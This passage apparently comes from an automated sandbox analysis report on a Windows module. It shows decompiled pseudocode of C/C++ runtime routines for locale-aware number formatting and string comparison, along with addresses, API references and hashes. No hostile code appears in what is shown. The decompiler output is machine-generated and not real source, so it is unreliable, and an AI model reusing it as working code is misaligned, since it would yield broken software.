					 *((char*)(_t397 + 0xffffffffffffffb0)) =  *((intOrPtr*)(0 +  *((intOrPtr*)(E6E17A23B(_t283, 1)))));
					_v92 = E6E1789B0(_t397 + 0xffffffffffffffb0, 0 + _a28, _t397 + 0xffffffffffffffb0);
					_v124 = E6E170F40(_a20, _t412,  &_v160);
					_v128 = _v124;
					_v8 = 0;
					_v132 = E6E169750(_t283, _t395, _t396, _t412, _v128);
					_v8 = 0xffffffff;
					E6E16AA70( &_v160);
					E6E169C50(_a32, 0);
					_v8 = 1;
					E6E171610(_v132, 0 + _a28, _a28 + _a32, E6E16B020( &_v44, 0));
					_v136 = E6E170F40(_a20, _t412,  &_v168);
					_v140 = _v136;
					_v8 = 2;
					_v100 = E6E169990(_t395, _t412, _v140);
					_v8 = 1;
					E6E16AA70( &_v168);
					E6E170FB0(_v100,  &_v68);
					_v8 = 3;
					_v73 = E6E171540(_v100);
					if(_v92 != _a32) {
						_t274 = E6E170130(_v100);
						 *((char*)(E6E16B020( &_v44, _v92))) = _t274;
					}
					if(_v92 != _a32) {
						_v116 = _v92;
					} else {
						_v116 = _v144;
					}
					_t370 = _v116;
					_v96 = _t370;
					_v80 = E6E16B020( &_v68, 0);
					while( *_v80 != 0x7f) {
						_t370 = _v80;
						if( *_t370 <= 0) {
							break;
						}
						_t370 =  *_v80;
						if(_t370 >= _v96 - _v72) {
							break;
						}
						_v96 = _v96 -  *_v80;
						E6E170FF0( &_v44, _v96, 1, _v73 & 0x000000ff);
						_t370 =  *((char*)(_v80 + (1 << 0)));
						if(_t370 > 0) {
							_v80 = _v80 + 1;
						}
					}
					_a32 = E6E1710F0( &_v44);
					_v152 = E6E171680(_a20);
					_v148 = _t370;
					__eflags = _v148;
					if(__eflags < 0) {
						L29:
						_v120 = 0;
						L30:
						_v88 = _v120;
						_v104 = E6E170E40(_a20) & 0x000001c0;
						__eflags = _v104 - 0x40;
						if(_v104 == 0x40) {
							L33:
							__eflags = _v104 - 0x100;
							if(_v104 != 0x100) {
								_t231 = E6E16F400(_a4,  &_v208, _a12, _a16, E6E16B020( &_v44, 0), _v72);
								_a12 =  *_t231;
								_a16 =  *((intOrPtr*)(_t231 + 4));
							} else {
								_t248 = E6E16F400(_a4,  &_v192, _a12, _a16, E6E16B020( &_v44, 0), _v72);
								_a12 =  *_t248;
								_a16 =  *((intOrPtr*)(_t248 + 4));
								_t252 = E6E16F450(_a4,  &_v200, _a12, _a16, _a24 & 0x000000ff, _v88);
								_a12 =  *_t252;
								_a16 =  *((intOrPtr*)(_t252 + 4));
								_v88 = 0;
							}
							L36:
							_t236 = E6E16F400(_a4,  &_v216, _a12, _a16, E6E16B020( &_v44, _v72), _a32 - _v72);
							_a12 =  *_t236;
							_a16 =  *((intOrPtr*)(_t236 + 4));
							E6E171640(_a20, 0, 0);
							E6E16F450(_a4, _a8, _a12, _a16, _a24 & 0x000000ff, _v88);
							_v8 = 1;
							E6E16A720();
							_v8 = 0xffffffff;
							E6E16A720();
							 *[fs:0x0] = _v16;
							__eflags = _v20 ^ _t397;
							return E6E173D51(_v20 ^ _t397);
						}
						__eflags = _v104 - 0x100;
						if(_v104 == 0x100) {
							goto L33;
						}
						_t255 = E6E16F450(_a4,  &_v176, _a12, _a16, _a24 & 0x000000ff, _v88);
						_a12 =  *_t255;
						_a16 =  *((intOrPtr*)(_t255 + 4));
						_v88 = 0;
						_t259 = E6E16F400(_a4,  &_v184, _a12, _a16, E6E16B020( &_v44, 0), _v72);
						_a12 =  *_t259;
						_a16 =  *((intOrPtr*)(_t259 + 4));
						goto L36;
					}
					if(__eflags > 0) {
						L27:
						_t260 = E6E171680(_a20);
						__eflags = _t260 - _a32;
						if(_t260 <= _a32) {
							goto L29;
						}
						_v120 = E6E171680(_a20) - _a32;
						goto L30;
					}
					__eflags = _v152;
					if(_v152 <= 0) {
						goto L29;
					}
					goto L27;
				}
			}

0x6e16e050
0x6e16e050
0x6e16e050
0x6e16e053
0x6e16e055
0x6e16e060
0x6e16e067
0x6e16e06c
0x6e16e06e
0x6e16e071
0x6e16e072
0x6e16e076
0x6e16e080
0x6e16e0a1
0x6e16e098
0x6e16e098
0x6e16e098
0x6e16e0ab
0x6e16e0b1
0x6e16e0bb
0x6e16e0c0
0x6e16e0cb
0x6e16e0d8
0x6e16e0db
0x00000000
0x00000000
0x6e16e0e6
0x6e16e0e9
0x00000000
0x00000000
0x6e16e0ee
0x6e16e0f5
0x6e16e0f8
0x6e16e109
0x6e16e10c
0x6e16e10c
0x6e16e10f
0x00000000
0x6e16e10f
0x6e16e0fd
0x6e16e104
0x6e16e107
0x00000000
0x00000000
0x00000000
0x6e16e0c2
0x6e16e0c2
0x6e16e112
0x6e16e12a
0x6e16e130
0x6e16e137
0x6e16e155
0x6e16e17a
0x6e16e18c
0x6e16e192
0x6e16e195
0x6e16e1a8
0x6e16e1ab
0x6e16e1b8
0x6e16e1c6
0x6e16e1cb
0x6e16e1f3
0x6e16e207
0x6e16e213
0x6e16e219
0x6e16e22c
0x6e16e22f
0x6e16e239
0x6e16e245
0x6e16e24a
0x6e16e256
0x6e16e25f
0x6e16e264
0x6e16e277
0x6e16e277
0x6e16e27f
0x6e16e28f
0x6e16e281
0x6e16e287
0x6e16e287
0x6e16e292
0x6e16e295
0x6e16e2a2
0x6e16e2a5
0x6e16e2b0
0x6e16e2b8
0x00000000
0x00000000
0x6e16e2bd
0x6e16e2c8
0x00000000
0x00000000
0x6e16e2d5
0x6e16e2e6
0x6e16e2f6
0x6e16e2fc
0x6e16e304
0x6e16e304
0x6e16e307
0x6e16e311
0x6e16e31c
0x6e16e322
0x6e16e328
0x6e16e32f
0x6e16e359
0x6e16e359
0x6e16e360
0x6e16e363
0x6e16e373
0x6e16e376
0x6e16e37a
0x6e16e3f5
0x6e16e3f5
0x6e16e3fc
0x6e16e48d
0x6e16e49a
0x6e16e49d
0x6e16e3fe
0x6e16e420
0x6e16e42d
0x6e16e430
0x6e16e44f
0x6e16e45c
0x6e16e45f
0x6e16e462
0x6e16e462
0x6e16e4a0
0x6e16e4c7
0x6e16e4d4
0x6e16e4d7
0x6e16e4e1
0x6e16e4ff
0x6e16e507
0x6e16e50e
0x6e16e513
0x6e16e51d
0x6e16e528
0x6e16e534
0x6e16e53e
0x6e16e53e
0x6e16e37c
0x6e16e383
0x00000000
0x00000000
0x6e16e3a1
0x6e16e3ae
0x6e16e3b1
0x6e16e3b4
0x6e16e3dd
0x6e16e3ea
0x6e16e3ed
0x00000000
0x6e16e3ed
0x6e16e331
0x6e16e33c
0x6e16e33f
0x6e16e344
0x6e16e347
0x00000000
0x00000000
0x6e16e354
0x00000000
0x6e16e354
0x6e16e333
0x6e16e33a
0x00000000
0x00000000
0x00000000
0x6e16e33a

APIs

std::ios_base::getloc.LIBCPMTD ref: 6E16E187
ctype.LIBCPMTD ref: 6E16E1F3
std::ios_base::getloc.LIBCPMTD ref: 6E16E202
_Mpunct.LIBCPMTD ref: 6E16E245
std::ios_base::width.LIBCPMTD ref: 6E16E4E1

Strings

@, xrefs: 6E16E376

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: std::ios_base::getloc$Mpunctctypestd::ios_base::width
String ID: @
API String ID: 2441703863-2766056989
Opcode ID: 5d3066bb774c65ac13e0948990d4f9eb75b3caf45c55eed828836d8cc723cb82
Instruction ID: 52d41fdb43b31c79e5833aa2a34c0a0493ba18438fdaa052ac22f8f0a8bc1eb7
Opcode Fuzzy Hash: 5d3066bb774c65ac13e0948990d4f9eb75b3caf45c55eed828836d8cc723cb82
Instruction Fuzzy Hash: DF024CB1A002489FCB14CFD8C990BEEBBB9BF49304F148659E819AB255D734AE91DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E16ECE0, Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 352
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6E16ECE0(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, char* _a28, intOrPtr _a32) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v68;
				intOrPtr _v72;
				char* _v76;
				signed char _v77;
				intOrPtr _v84;
				signed int _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				char _v136;
				char _v144;
				char _v152;
				char _v160;
				char _v168;
				char _v176;
				char _v184;
				char _v192;
				signed int _t168;
				signed int _t169;
				intOrPtr* _t195;
				intOrPtr* _t200;
				intOrPtr* _t211;
				intOrPtr* _t214;
				intOrPtr* _t217;
				intOrPtr* _t221;
				void* _t223;
				intOrPtr _t238;
				void* _t241;
				char* _t314;
				void* _t343;
				void* _t344;
				signed int _t345;
				intOrPtr _t363;

				_t344 = __esi;
				_t343 = __edi;
				_t241 = __ebx;
				_push(0xffffffff);
				_push(0x6e18fea6);
				_push( *[fs:0x0]);
				_t168 =  *0x6e1bb164; // 0x55e3ddbb
				_t169 = _t168 ^ _t345;
				_v20 = _t169;
				_push(_t169);
				 *[fs:0x0] =  &_v16;
				if(_a32 <= 0 ||  *_a28 != 0x2b &&  *_a28 != 0x2d) {
					_v92 = 0;
				} else {
					_v92 = 1;
				}
				_v72 = _v92;
				if((E6E170E40(_a20) & 0x00000e00) == 0x800 && _v72 + 2 <= _a32 &&  *((char*)(_a28 + _v72)) == 0x30 && ( *((char*)(_a28 + _v72 + 1)) == 0x78 ||  *((char*)(_a28 + _v72 + 1)) == 0x58)) {
					_t238 = _v72 + 2;
					_t363 = _t238;
					_v72 = _t238;
				}
				_v104 = E6E170F40(_a20, _t363,  &_v136);
				_v108 = _v104;
				_v8 = 0;
				_v112 = E6E169750(_t241, _t343, _t344, _t363, _v108);
				_v8 = 0xffffffff;
				E6E16AA70( &_v136);
				E6E169C50(_a32, 0);
				_v8 = 1;
				E6E171610(_v112, 0 + _a28, _a28 + _a32, E6E16B020( &_v44, 0));
				_v116 = E6E170F40(_a20, _t363,  &_v144);
				_v120 = _v116;
				_v8 = 2;
				_v96 = E6E169990(_t343, _t363, _v120);
				_v8 = 1;
				E6E16AA70( &_v144);
				_t314 =  &_v68;
				E6E170FB0(_v96, _t314);
				_v8 = 3;
				_v76 = E6E16B020( &_v68, 0);
				if( *_v76 == 0x7f) {
					L20:
					_a32 = E6E1710F0( &_v44);
					_v128 = E6E171680(_a20);
					_v124 = _t314;
					__eflags = _v124;
					if(__eflags < 0) {
						L25:
						_v100 = 0;
						L26:
						_v84 = _v100;
						_v88 = E6E170E40(_a20) & 0x000001c0;
						__eflags = _v88 - 0x40;
						if(_v88 == 0x40) {
							L29:
							__eflags = _v88 - 0x100;
							if(_v88 != 0x100) {
								_t195 = E6E16F400(_a4,  &_v184, _a12, _a16, E6E16B020( &_v44, 0), _v72);
								_a12 =  *_t195;
								_a16 =  *((intOrPtr*)(_t195 + 4));
							} else {
								_t211 = E6E16F400(_a4,  &_v168, _a12, _a16, E6E16B020( &_v44, 0), _v72);
								_a12 =  *_t211;
								_a16 =  *((intOrPtr*)(_t211 + 4));
								_t214 = E6E16F450(_a4,  &_v176, _a12, _a16, _a24 & 0x000000ff, _v84);
								_a12 =  *_t214;
								_a16 =  *((intOrPtr*)(_t214 + 4));
								_v84 = 0;
							}
							L32:
							_t200 = E6E16F400(_a4,  &_v192, _a12, _a16, E6E16B020( &_v44, _v72), _a32 - _v72);
							_a12 =  *_t200;
							_a16 =  *((intOrPtr*)(_t200 + 4));
							E6E171640(_a20, 0, 0);
							E6E16F450(_a4, _a8, _a12, _a16, _a24 & 0x000000ff, _v84);
							_v8 = 1;
							E6E16A720();
							_v8 = 0xffffffff;
							E6E16A720();
							 *[fs:0x0] = _v16;
							__eflags = _v20 ^ _t345;
							return E6E173D51(_v20 ^ _t345);
						}
						__eflags = _v88 - 0x100;
						if(_v88 == 0x100) {
							goto L29;
						}
						_t217 = E6E16F450(_a4,  &_v152, _a12, _a16, _a24 & 0x000000ff, _v84);
						_a12 =  *_t217;
						_a16 =  *((intOrPtr*)(_t217 + 4));
						_v84 = 0;
						_t221 = E6E16F400(_a4,  &_v160, _a12, _a16, E6E16B020( &_v44, 0), _v72);
						_a12 =  *_t221;
						_a16 =  *((intOrPtr*)(_t221 + 4));
						goto L32;
					}
					if(__eflags > 0) {
						L23:
						_t223 = E6E171680(_a20);
						__eflags = _t223 - _a32;
						if(_t223 <= _a32) {
							goto L25;
						}
						_v100 = E6E171680(_a20) - _a32;
						goto L26;
					}
					__eflags = _v128;
					if(_v128 <= 0) {
						goto L25;
					}
					goto L23;
				} else {
					_t314 = _v76;
					if( *_t314 <= 0) {
						goto L20;
					}
					_v77 = E6E171540(_v96);
					while(1) {
						_t314 =  *_v76;
						if(_t314 == 0x7f ||  *_v76 <= 0) {
							goto L20;
						}
						_t314 = _v76;
						if( *_t314 >= _a32 - _v72) {
							goto L20;
						}
						_a32 = _a32 -  *_v76;
						E6E170FF0( &_v44, _a32, 1, _v77 & 0x000000ff);
						if( *((char*)(_v76 + (1 << 0))) > 0) {
							_v76 = _v76 + 1;
						}
					}
					goto L20;
				}
			}

0x6e16ece0
0x6e16ece0
0x6e16ece0
0x6e16ece3
0x6e16ece5
0x6e16ecf0
0x6e16ecf7
0x6e16ecfc
0x6e16ecfe
0x6e16ed01
0x6e16ed05
0x6e16ed0f
0x6e16ed30
0x6e16ed27
0x6e16ed27
0x6e16ed27
0x6e16ed3a
0x6e16ed4f
0x6e16ed8b
0x6e16ed8b
0x6e16ed8e
0x6e16ed8e
0x6e16eda0
0x6e16eda6
0x6e16eda9
0x6e16edbc
0x6e16edbf
0x6e16edcc
0x6e16edda
0x6e16eddf
0x6e16ee07
0x6e16ee1b
0x6e16ee21
0x6e16ee24
0x6e16ee34
0x6e16ee37
0x6e16ee41
0x6e16ee46
0x6e16ee4d
0x6e16ee52
0x6e16ee60
0x6e16ee6c
0x6e16eee7
0x6e16eeef
0x6e16eefa
0x6e16eefd
0x6e16ef00
0x6e16ef04
0x6e16ef2b
0x6e16ef2b
0x6e16ef32
0x6e16ef35
0x6e16ef45
0x6e16ef48
0x6e16ef4c
0x6e16efc7
0x6e16efc7
0x6e16efce
0x6e16f05f
0x6e16f06c
0x6e16f06f
0x6e16efd0
0x6e16eff2
0x6e16efff
0x6e16f002
0x6e16f021
0x6e16f02e
0x6e16f031
0x6e16f034
0x6e16f034
0x6e16f072
0x6e16f099
0x6e16f0a6
0x6e16f0a9
0x6e16f0b3
0x6e16f0d1
0x6e16f0d9
0x6e16f0e0
0x6e16f0e5
0x6e16f0ef
0x6e16f0fa
0x6e16f105
0x6e16f10f
0x6e16f10f
0x6e16ef4e
0x6e16ef55
0x00000000
0x00000000
0x6e16ef73
0x6e16ef80
0x6e16ef83
0x6e16ef86
0x6e16efaf
0x6e16efbc
0x6e16efbf
0x00000000
0x6e16efbf
0x6e16ef06
0x6e16ef0e
0x6e16ef11
0x6e16ef16
0x6e16ef19
0x00000000
0x00000000
0x6e16ef26
0x00000000
0x6e16ef26
0x6e16ef08
0x6e16ef0c
0x00000000
0x00000000
0x00000000
0x6e16ee6e
0x6e16ee6e
0x6e16ee76
0x00000000
0x00000000
0x6e16ee80
0x6e16ee83
0x6e16ee86
0x6e16ee8c
0x00000000
0x00000000
0x6e16ee98
0x6e16eea6
0x00000000
0x00000000
0x6e16eeb3
0x6e16eec4
0x6e16eeda
0x6e16eee2
0x6e16eee2
0x6e16eee5
0x00000000
0x6e16ee83

APIs

std::ios_base::getloc.LIBCPMTD ref: 6E16ED9B
ctype.LIBCPMTD ref: 6E16EE07
std::ios_base::getloc.LIBCPMTD ref: 6E16EE16
_Mpunct.LIBCPMTD ref: 6E16EE4D
std::ios_base::width.LIBCPMTD ref: 6E16F0B3

Strings

@, xrefs: 6E16EF48

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: std::ios_base::getloc$Mpunctctypestd::ios_base::width
String ID: @
API String ID: 2441703863-2766056989
Opcode ID: cc7b93649a71d4c835a5e56f994a8ad38ef69135092c4523df57f340af468cde
Instruction ID: 458b06f60d25c1cc343979538cb146d8d0a9d2e2a46b48a1be8c6c44664d3be7
Opcode Fuzzy Hash: cc7b93649a71d4c835a5e56f994a8ad38ef69135092c4523df57f340af468cde
Instruction Fuzzy Hash: DEE13EB19002489FCB14CFD4C9A0BEEBBB9BF48304F148659F519AB295D734AE91DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E18E9DF, Relevance: 10.8, APIs: 7, Instructions: 268
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6E18E9DF(void* __ebx, void* __edi, void* __esi, int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, int _a20, char* _a24, int _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				short* _v32;
				int _v36;
				char* _v40;
				int _v44;
				intOrPtr _v48;
				void* _v60;
				signed int _t63;
				int _t70;
				signed int _t72;
				short* _t73;
				signed int _t77;
				short* _t87;
				void* _t89;
				void* _t92;
				int _t99;
				intOrPtr _t101;
				intOrPtr _t102;
				signed int _t112;
				char* _t114;
				char* _t115;
				void* _t120;
				void* _t121;
				intOrPtr _t122;
				intOrPtr _t123;
				intOrPtr* _t125;
				short* _t126;
				int _t128;
				int _t129;
				short* _t130;
				intOrPtr* _t131;
				signed int _t132;
				short* _t133;

				_t63 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t63 ^ _t132;
				_t128 = _a20;
				_v44 = _a4;
				_v48 = _a8;
				_t67 = _a24;
				_v40 = _a24;
				_t125 = _a16;
				_v36 = _t125;
				if(_t128 <= 0) {
					if(_t128 >= 0xffffffff) {
						goto L2;
					} else {
						goto L5;
					}
				} else {
					_t128 = E6E17CE7E(_t125, _t128);
					_t67 = _v40;
					L2:
					_t99 = _a28;
					if(_t99 <= 0) {
						if(_t99 < 0xffffffff) {
							goto L5;
						} else {
							goto L7;
						}
					} else {
						_t99 = E6E17CE7E(_t67, _t99);
						L7:
						_t70 = _a32;
						if(_t70 == 0) {
							_t70 =  *( *_v44 + 8);
							_a32 = _t70;
						}
						if(_t128 == 0 || _t99 == 0) {
							if(_t128 != _t99) {
								if(_t99 <= 1) {
									if(_t128 <= 1) {
										if(GetCPInfo(_t70,  &_v28) == 0) {
											goto L5;
										} else {
											if(_t128 <= 0) {
												if(_t99 <= 0) {
													goto L36;
												} else {
													_t89 = 2;
													if(_v28 >= _t89) {
														_t114 =  &_v22;
														if(_v22 != 0) {
															_t131 = _v40;
															while(1) {
																_t122 =  *((intOrPtr*)(_t114 + 1));
																if(_t122 == 0) {
																	goto L15;
																}
																_t101 =  *_t131;
																if(_t101 <  *_t114 || _t101 > _t122) {
																	_t114 = _t114 + _t89;
																	if( *_t114 != 0) {
																		continue;
																	} else {
																		goto L15;
																	}
																}
																goto L63;
															}
														}
													}
													goto L15;
												}
											} else {
												_t92 = 2;
												if(_v28 >= _t92) {
													_t115 =  &_v22;
													if(_v22 != 0) {
														while(1) {
															_t123 =  *((intOrPtr*)(_t115 + 1));
															if(_t123 == 0) {
																goto L17;
															}
															_t102 =  *_t125;
															if(_t102 <  *_t115 || _t102 > _t123) {
																_t115 = _t115 + _t92;
																if( *_t115 != 0) {
																	continue;
																} else {
																	goto L17;
																}
															}
															goto L63;
														}
													}
												}
												goto L17;
											}
										}
									} else {
										L17:
										_push(3);
										goto L13;
									}
								} else {
									L15:
								}
							} else {
								_push(2);
								L13:
							}
						} else {
							L36:
							_t126 = 0;
							_t72 = MultiByteToWideChar(_a32, 9, _v36, _t128, 0, 0);
							_v44 = _t72;
							if(_t72 == 0) {
								L5:
							} else {
								_t120 = _t72 + _t72;
								asm("sbb eax, eax");
								if((_t120 + 0x00000008 & _t72) == 0) {
									_t73 = 0;
									_v32 = 0;
									goto L45;
								} else {
									asm("sbb eax, eax");
									_t85 = _t72 & _t120 + 0x00000008;
									_t112 = _t120 + 8;
									if((_t72 & _t120 + 0x00000008) > 0x400) {
										asm("sbb eax, eax");
										_t87 = E6E17FBEC(_t112, _t85 & _t112);
										_v32 = _t87;
										if(_t87 == 0) {
											goto L61;
										} else {
											 *_t87 = 0xdddd;
											goto L43;
										}
									} else {
										asm("sbb eax, eax");
										E6E174540();
										_t87 = _t133;
										_v32 = _t87;
										if(_t87 == 0) {
											L61:
											_t100 = _v32;
										} else {
											 *_t87 = 0xcccc;
											L43:
											_t73 =  &(_t87[4]);
											_v32 = _t73;
											L45:
											if(_t73 == 0) {
												goto L61;
											} else {
												_t129 = _a32;
												if(MultiByteToWideChar(_t129, 1, _v36, _t128, _t73, _v44) == 0) {
													goto L61;
												} else {
													_t77 = MultiByteToWideChar(_t129, 9, _v40, _t99, _t126, _t126);
													_v36 = _t77;
													if(_t77 == 0) {
														goto L61;
													} else {
														_t121 = _t77 + _t77;
														_t108 = _t121 + 8;
														asm("sbb eax, eax");
														if((_t121 + 0x00000008 & _t77) == 0) {
															_t130 = _t126;
															goto L56;
														} else {
															asm("sbb eax, eax");
															_t81 = _t77 & _t121 + 0x00000008;
															_t108 = _t121 + 8;
															if((_t77 & _t121 + 0x00000008) > 0x400) {
																asm("sbb eax, eax");
																_t130 = E6E17FBEC(_t108, _t81 & _t108);
																_pop(_t108);
																if(_t130 == 0) {
																	goto L59;
																} else {
																	 *_t130 = 0xdddd;
																	goto L54;
																}
															} else {
																asm("sbb eax, eax");
																E6E174540();
																_t130 = _t133;
																if(_t130 == 0) {
																	L59:
																	_t100 = _v32;
																} else {
																	 *_t130 = 0xcccc;
																	L54:
																	_t130 =  &(_t130[4]);
																	L56:
																	if(_t130 == 0 || MultiByteToWideChar(_a32, 1, _v40, _t99, _t130, _v36) == 0) {
																		goto L59;
																	} else {
																		_t100 = _v32;
																		_t126 = E6E183725(_t108, _t130, _v48, _a12, _v32, _v44, _t130, _v36, _t126, _t126, _t126);
																	}
																}
															}
														}
														E6E1735A7(_t130);
													}
												}
											}
										}
									}
								}
								E6E1735A7(_t100);
							}
						}
					}
				}
				L63:
				return E6E173D51(_v8 ^ _t132);
			}

0x6e18e9e7
0x6e18e9ee
0x6e18e9f6
0x6e18e9f9
0x6e18e9ff
0x6e18ea02
0x6e18ea05
0x6e18ea09
0x6e18ea0c
0x6e18ea11
0x6e18ea38
0x00000000
0x00000000
0x00000000
0x00000000
0x6e18ea13
0x6e18ea1b
0x6e18ea1d
0x6e18ea21
0x6e18ea21
0x6e18ea26
0x6e18ea44
0x00000000
0x00000000
0x00000000
0x00000000
0x6e18ea28
0x6e18ea31
0x6e18ea46
0x6e18ea46
0x6e18ea4b
0x6e18ea52
0x6e18ea55
0x6e18ea55
0x6e18ea5a
0x6e18ea66
0x6e18ea73
0x6e18ea80
0x6e18ea93
0x00000000
0x6e18ea95
0x6e18ea97
0x6e18eaca
0x00000000
0x6e18eacc
0x6e18eace
0x6e18ead2
0x6e18ead8
0x6e18eadb
0x6e18eadd
0x6e18eae0
0x6e18eae0
0x6e18eae5
0x00000000
0x00000000
0x6e18eae7
0x6e18eaeb
0x6e18eaf5
0x6e18eafa
0x00000000
0x6e18eafc
0x00000000
0x6e18eafc
0x6e18eafa
0x00000000
0x6e18eaeb
0x6e18eae0
0x6e18eadb
0x00000000
0x6e18ead2
0x6e18ea99
0x6e18ea9b
0x6e18ea9f
0x6e18eaa5
0x6e18eaa8
0x6e18eaaa
0x6e18eaaa
0x6e18eaaf
0x00000000
0x00000000
0x6e18eab1
0x6e18eab5
0x6e18eabf
0x6e18eac4
0x00000000
0x6e18eac6
0x00000000
0x6e18eac6
0x6e18eac4
0x00000000
0x6e18eab5
0x6e18eaaa
0x6e18eaa8
0x00000000
0x6e18ea9f
0x6e18ea97
0x6e18ea82
0x6e18ea82
0x6e18ea82
0x00000000
0x6e18ea82
0x6e18ea75
0x6e18ea75
0x6e18ea77
0x6e18ea68
0x6e18ea68
0x6e18ea6a
0x6e18ea6a
0x6e18eb01
0x6e18eb01
0x6e18eb01
0x6e18eb0e
0x6e18eb14
0x6e18eb19
0x6e18ea3a
0x6e18eb1f
0x6e18eb1f
0x6e18eb27
0x6e18eb2b
0x6e18eb86
0x6e18eb88
0x00000000
0x6e18eb2d
0x6e18eb32
0x6e18eb34
0x6e18eb36
0x6e18eb3e
0x6e18eb62
0x6e18eb67
0x6e18eb6c
0x6e18eb72
0x00000000
0x6e18eb78
0x6e18eb78
0x00000000
0x6e18eb78
0x6e18eb40
0x6e18eb42
0x6e18eb46
0x6e18eb4b
0x6e18eb4d
0x6e18eb52
0x6e18ec67
0x6e18ec67
0x6e18eb58
0x6e18eb58
0x6e18eb7e
0x6e18eb7e
0x6e18eb81
0x6e18eb8b
0x6e18eb8d
0x00000000
0x6e18eb93
0x6e18eb9b
0x6e18eba9
0x00000000
0x6e18ebaf
0x6e18ebb8
0x6e18ebbe
0x6e18ebc3
0x00000000
0x6e18ebc9
0x6e18ebc9
0x6e18ebcc
0x6e18ebd1
0x6e18ebd5
0x6e18ec21
0x00000000
0x6e18ebd7
0x6e18ebdc
0x6e18ebde
0x6e18ebe0
0x6e18ebe8
0x6e18ec05
0x6e18ec0f
0x6e18ec11
0x6e18ec14
0x00000000
0x6e18ec16
0x6e18ec16
0x00000000
0x6e18ec16
0x6e18ebea
0x6e18ebec
0x6e18ebf0
0x6e18ebf5
0x6e18ebf9
0x6e18ec5b
0x6e18ec5b
0x6e18ebfb
0x6e18ebfb
0x6e18ec1c
0x6e18ec1c
0x6e18ec23
0x6e18ec25
0x00000000
0x6e18ec3e
0x6e18ec3e
0x6e18ec57
0x6e18ec57
0x6e18ec25
0x6e18ebf9
0x6e18ebe8
0x6e18ec5f
0x6e18ec64
0x6e18ebc3
0x6e18eba9
0x6e18eb8d
0x6e18eb52
0x6e18eb3e
0x6e18ec6b
0x6e18ec71
0x6e18eb19
0x6e18ea5a
0x6e18ea26
0x6e18ec73
0x6e18ec86

APIs

GetCPInfo.KERNEL32(02934398,02934398,?,7FFFFFFF,?,?,6E18ECB8,02934398,02934398,?,02934398,?,?,?,?,02934398), ref: 6E18EA8B
MultiByteToWideChar.KERNEL32(02934398,00000009,02934398,02934398,00000000,00000000,?,6E18ECB8,02934398,02934398,?,02934398,?,?,?,?), ref: 6E18EB0E
MultiByteToWideChar.KERNEL32(02934398,00000001,02934398,02934398,00000000,6E18ECB8,?,6E18ECB8,02934398,02934398,?,02934398,?,?,?,?), ref: 6E18EBA1
MultiByteToWideChar.KERNEL32(02934398,00000009,02934398,02934398,00000000,00000000,?,6E18ECB8,02934398,02934398,?,02934398,?,?,?,?), ref: 6E18EBB8

Part of subcall function 6E17FBEC: RtlAllocateHeap.NTDLL(00000000,0000060B,?,?,6E173D1F,0000060B,?,6E1673C4,0000060B), ref: 6E17FC1E

MultiByteToWideChar.KERNEL32(02934398,00000001,02934398,02934398,00000000,02934398,?,6E18ECB8,02934398,02934398,?,02934398,?,?,?,?), ref: 6E18EC34
__freea.LIBCMT ref: 6E18EC5F
__freea.LIBCMT ref: 6E18EC6B

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: ce91ef3b8f2a3652682e9f3a861d1f43f8c6b2a844029da7ab2c935025ade64a
Instruction ID: e6fbfc0e308653cad4b0c715a69ac9111a6604cf8bf0dbd8a6448d3d561ad7de
Opcode Fuzzy Hash: ce91ef3b8f2a3652682e9f3a861d1f43f8c6b2a844029da7ab2c935025ade64a
Instruction Fuzzy Hash: 3491BF71E002169EDF108EE8CC90AEF7BB9BB1AB54F254519E815E7140D735EAC1EF60

Uniqueness

Uniqueness Score: -1.00%

Function 6E18B4B3, Relevance: 10.7, APIs: 7, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6E18B4B3(void* __edx, char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				signed int _v20;
